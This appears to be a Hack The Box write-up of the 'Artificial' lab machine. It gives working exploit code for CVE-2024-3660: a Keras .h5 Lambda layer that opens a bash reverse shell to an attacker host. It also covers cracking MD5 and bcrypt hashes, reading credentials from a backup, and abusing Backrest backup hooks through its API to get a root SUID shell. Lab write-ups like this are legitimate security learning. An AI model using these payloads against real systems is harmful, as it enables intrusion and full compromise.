root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat artificial.md
// writeups

Artificial

21 Jun 2025 · 19 min read
Artificial - maquina de Hack The Box

Executive summary — Artificial is an "AI solutions" machine that lets registered users upload and run Keras models (.h5). That flow is vulnerable to CVE-2024-3660: a Lambda layer can carry an arbitrary Python function that Keras runs while deserializing the model, and the safe_mode protection introduced in recent Keras versions is completely ignored when the model uses the legacy H5 format — exactly the one this app accepts. From the initial RCE, an unsalted-MD5 SQLite database gives SSH access via credential reuse, and the final escalation abuses Backrest (a web UI wrapping restic that runs as root): a malicious backup hook gives arbitrary command execution as root in a single step.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.232.51

Attack map

[80] "AI Solutions" — Keras .h5 model upload
   │  CVE-2024-3660 — Lambda deserialization RCE (safe_mode ignored in legacy H5)
   ▼
[RCE]  app  (uid 1001)
   │  SQLite DB with MD5 hashes → cracked → gael:mattp005numbertwo
   ▼
[SSH]  gael  (user.txt, sysadm group)
   │  /var/backups/backrest_backup.tar.gz → config.json → base64-wrapped bcrypt
   │  cracked → backrest_root:!@#$%^
   ▼
[API]  Backrest 1.7.2 on 127.0.0.1:9898 (runs as root)
   │  AddRepo + SetConfig (hook on CONDITION_SNAPSHOT_START) + Backup
   ▼
[ROOT]  hook runs as root → SUID bash → root.txt

1. Reconnaissance

The lab didn't offer passwordless sudo to edit /etc/hosts, so work alternated between editing the file directly and using curl --resolve.

echo "10.129.232.51 artificial.htb" | sudo tee -a /etc/hosts
# No-sudo alternative:
curl --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m2_allports.txt 10.129.232.51
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -sT -sCV -p22,80 -Pn -oN m2_services.txt 10.129.232.51
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/

nginx redirects to artificial.htb — virtual hosting is in play.

2. Web enumeration

curl -s --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/ | grep -iE '<title>|href='
<title>Artificial - AI Solutions
href="/login"  href="/register"

An "AI solutions" site with a normal registration/login flow:

curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
  -X POST http://artificial.htb/register \
  -d "username=pwn&email=pwn@pwn.htb&password=Passw0rd123"      # 302 -> /login

curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
  -X POST http://artificial.htb/login \
  -d "email=pwn@pwn.htb&password=Passw0rd123"                   # 302 -> /dashboard

The dashboard reveals the key feature: model upload and execution.

action="/upload_model"   enctype="multipart/form-data"   accept=".h5"
href="/static/Dockerfile"
href="/static/requirements.txt"
<a href="/run_model/<uuid>">View Predictions</a>
<a href="/delete_model/<uuid>">Delete</a>

The app lets you upload Keras .h5 models and then "run" them (/run_model/<id>), which on the backend calls tensorflow.keras.models.load_model(...) followed by inference.

Build files exposed under /static/ confirm the exact versions to replicate:

FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl && \
    rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl
ENTRYPOINT ["/bin/bash"]
tensorflow-cpu==2.13.1

Conclusion: the server loads models with TensorFlow-CPU 2.13.1 on Python 3.8 — both versions have to be replicated exactly for the exploit to work.

3. Foothold — CVE-2024-3660 (Keras Lambda deserialization RCE)

Keras supports Lambda layers that wrap arbitrary Python functions as if they were just another neural-network layer. When the model is saved (model.save()), that function is serialized as bytecode via Python's marshal module, right inside the .h5 file. When that model is later loaded with load_model(), Keras deserializes and runs that bytecode — full RCE, no actual inference required. This is exactly CVE-2024-3660: even though Keras ≥2.13 introduced a safe_mode parameter meant to block precisely this pattern, Keras ignores it entirely when the model uses the legacy H5 format — the very format this application accepts and expects. The protection exists, but only applies to the newer native format, not the one actually used here.

Critical compatibility detail: marshal bytecode is specific to the Python version that generated it. The server runs Python 3.8, so the model also has to be built with Python 3.8, or the server's marshal.loads() will silently fail to deserialize it. Kali (Python 3.13 by default) needs a separate 3.8 environment.

With no Docker available, uv (a Python toolchain manager) was used to install an isolated CPython 3.8 without touching the system install:

curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"

uv python install 3.8                      # -> CPython 3.8.20
uv venv --python 3.8 tfenv

uv pip install --python tfenv/bin/python tensorflow-cpu==2.13.1

The malicious model: a Lambda layer whose function fires a reverse shell before returning its input unchanged (needed so the model stays syntactically valid):

# make_model.py   (run with ./tfenv/bin/python)
import tensorflow as tf
LHOST="<ATTACKER_IP>"; LPORT=9001
def exploit(x):
    import os
    os.system(f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
    return x
m = tf.keras.Sequential([
    tf.keras.layers.Input(shape=(1,)),
    tf.keras.layers.Lambda(exploit),
])
m.compile(optimizer="adam", loss="mse")
m.save("exploit.h5")
./tfenv/bin/python make_model.py     # creates exploit.h5 (~10 KB)

Careful: model.save() builds/traces the model locally, which runs the Lambda on the machine generating it. If a local listener is up on that same port while saving, the attacker box connects to itself. Generate the .h5 with the listener off.

To send commands to a non-interactive reverse shell from an automated environment, a FIFO fed by tail -f is used:

mkfifo rsh_fifo; : > cmds.txt
tail -f cmds.txt > rsh_fifo &          # keeps the write end open
nc -lvnp 9001 < rsh_fifo > rsh_out.txt &
# ... to send commands:  echo 'id; hostname' >> cmds.txt ; then read rsh_out.txt
R() { curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 "$@"; }
R -X POST http://artificial.htb/login -d "email=pwn@pwn.htb&password=Passw0rd123" -o /dev/null

# Upload the .h5
R -X POST http://artificial.htb/upload_model -F "model_file=@exploit.h5;type=application/octet-stream"

# Get the model UUID from the dashboard and run it
R http://artificial.htb/dashboard | grep -oE '/run_model/[a-f0-9-]+'
R http://artificial.htb/run_model/<UUID>      # -> server loads the model -> RCE
listening on [any] 9001 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.51] 41822
app@artificial:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)

RCE confirmed as the app user (the Flask service runs under gunicorn as that account).

4. Post-exploitation as 'app' — user credentials

Later root access confirmed the exact location of the application and its database:

/home/app/app/app.py                     # Flask app
/home/app/app/instance/users.db          # SQLite user database
app.service            loaded active running   App
LISTEN 127.0.0.1:5000  gunicorn (5 workers)     # Flask behind nginx
LISTEN 127.0.0.1:9898  backrest                 # backup panel (privesc)

User passwords are stored as raw, unsalted MD5 in users.db — trivially crackable with a wordlist.

sqlite3 /home/app/app/instance/users.db "select username,password from user;"
# -> username:md5 pairs
john --format=raw-md5 hashes.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
UserPassword
hackerhacker
gaelmattp005numbertwo
royermarwinnarak043414036

5. SSH access as gael and user flag

ssh gael@10.129.232.51        # password: mattp005numbertwo
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
hostname: artificial
cat ~/user.txt
6cd707789f3b511d87c7e5ee126b2a74

🚩 user.txt: 6cd707789f3b511d87c7e5ee126b2a74

Key fact for the escalation: gael belongs to the sysadm group (1007).

6. Privilege escalation — gael to root (Backrest)

ls -la /var/backups/
-rw-r-----  1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz

The backup is readable by the sysadm group, so gael can read it directly (in the lab, linpeas.sh flags it immediately under /var/backups).

Despite the .tar.gz extension, the file is not gzip-compressed — it's a plain tar (confirmed by checking its real header):

mkdir /tmp/brx && cd /tmp/brx
tar tf /var/backups/backrest_backup.tar.gz | grep -iE 'config.json|install.sh'
# backrest/.config/backrest/config.json
# backrest/install.sh
tar xf /var/backups/backrest_backup.tar.gz backrest/.config/backrest/config.json backrest/install.sh
cat backrest/.config/backrest/config.json
{
  "modno": 2, "version": 4, "instance": "Artificial",
  "auth": { "disabled": false, "users": [
    { "name": "backrest_root",
      "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" }
  ]}
}

install.sh confirms Backrest is a systemd service running as root, with its web UI on port 9898 by default.

The passwordBcrypt field is base64-wrapped; decoding it reveals the real bcrypt hash:

echo -n "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
# $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Cracked with a wordlist (rockyou) → password !@#$%^. Verification:

import bcrypt
bcrypt.checkpw(b"!@#$%^",
  b"$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO")   # True

Backrest only listens on 127.0.0.1:9898. The usual route is an SSH port-forward (ssh -L 9898:127.0.0.1:9898 gael@<ip>) and browsing the UI. Here the choice was to hit its API directly from gael's own shell (already on localhost), skipping the tunnel. Backrest speaks connectrpc (POST /v1.<Service>/<Method> with JSON) and authenticates with a JWT.

curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
  -H "Content-Type: application/json" \
  -d '{"username":"backrest_root","password":"!@#$%^"}'
# {"token":"eyJhbGciOiJIUzI1NiI..."}

Why Backrest equals root: the service runs with root privileges so it can back up any path on the system. Backrest supports hooks: commands that fire on a backup plan's events. A hook in a plan that runs as root gives arbitrary command execution as root in a single step, with no need to restore/download files — the method used here, among several publicly documented routes for this same abuse (restoring root's SSH key from a backup is the equally valid "official" alternative).

Full flow over the API, all from gael's shell against 127.0.0.1:9898:

TOKEN=$(curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
  -H "Content-Type: application/json" \
  -d '{"username":"backrest_root","password":"!@#$%^"}' | sed -E 's/.*"token":"([^"]+)".*/\1/')

curl -s -X POST http://127.0.0.1:9898/v1.Backrest/AddRepo \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"pwn","uri":"/tmp/pwnrepo","password":"backrest123","flags":[],"prunePolicy":{"maxUnusedPercent":10},"checkPolicy":{}}'
import json, urllib.request
B="http://127.0.0.1:9898"
def call(path, data, token=None):
    req=urllib.request.Request(B+path, data=json.dumps(data).encode(),
                               headers={"Content-Type":"application/json"})
    if token: req.add_header("Authorization","Bearer "+token)
    return urllib.request.urlopen(req, timeout=40).read().decode()

tok=json.loads(call("/v1.Authentication/Login",
     {"username":"backrest_root","password":"!@#$%^"}))["token"]
cfg=json.loads(call("/v1.Backrest/GetConfig",{},tok))
cfg["plans"]=[{
  "id":"rootplan", "repo":"pwn", "paths":["/root"],
  "schedule":{"disabled":True},
  "hooks":[{
     "conditions":["CONDITION_SNAPSHOT_START"],
     "actionCommand":{"command":
        "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; "
        "id > /tmp/hookout 2>&1; "
        "cat /root/root.txt > /tmp/rootflag.txt 2>&1; chmod 644 /tmp/rootflag.txt"}
  }]
}]
print(call("/v1.Backrest/SetConfig",cfg,tok))          # modno 2 -> 3
call("/v1.Backrest/Backup",{"value":"rootplan"},tok)   # fires the plan -> hook as root
cat /tmp/hookout       # uid=0(root) gid=0(root) groups=0(root)
ls -la /tmp/rootbash   # -rwsr-xr-x 1 root root ... /tmp/rootbash   (root SUID bash)
cat /tmp/rootflag.txt  # 153d57680fbc9282dbc9e274915fe34b
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(gael) gid=1000(gael) euid=0(root) groups=1000(gael),1007(sysadm)
153d57680fbc9282dbc9e274915fe34b

🚩 root.txt: 153d57680fbc9282dbc9e274915fe34b

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdKeras model upload (.h5)CVE-2024-3660 — RCE via Lambda layer deserialization; safe_mode ignored in legacy H5 formatRCE as app
Lateral movementusers.db (SQLite)Unsalted MD5 passwords, cracked with a wordlistSSH as gael (user.txt)
PrivEscBackrest 1.7.2 (API, runs as root)Group-readable backup + base64-wrapped bcrypt cracked + unrestricted backup hookRoot (root.txt)

Lessons learned

  • "Safe mode" only protects what it explicitly covers: CVE-2024-3660 shows that a mitigation designed for a library's newest native format can end up completely hollow if the legacy format that preceded it is still accepted and skips the same check.
  • Loading an untrusted machine-learning model is equivalent to running arbitrary code from whoever uploaded it: Keras Lambda layers are, in practice, serialized Python code — treating them as "just data" is the underlying mistake.
  • Matching the exact Python version of the build environment is a real requirement, not a cosmetic one: marshal bytecode is version-specific — without that match, the exploit silently fails server-side, with no error visible to the attacker.
  • Unsalted MD5 for user passwords is still a critical weakness — any standard wordlist breaks it in seconds.
  • A backup tool that runs as root and allows unrestricted command hooks is root RCE by design for anyone who gets its credentials — restoring sensitive files (like root's SSH key) is an equally valid, publicly documented route for the same abuse.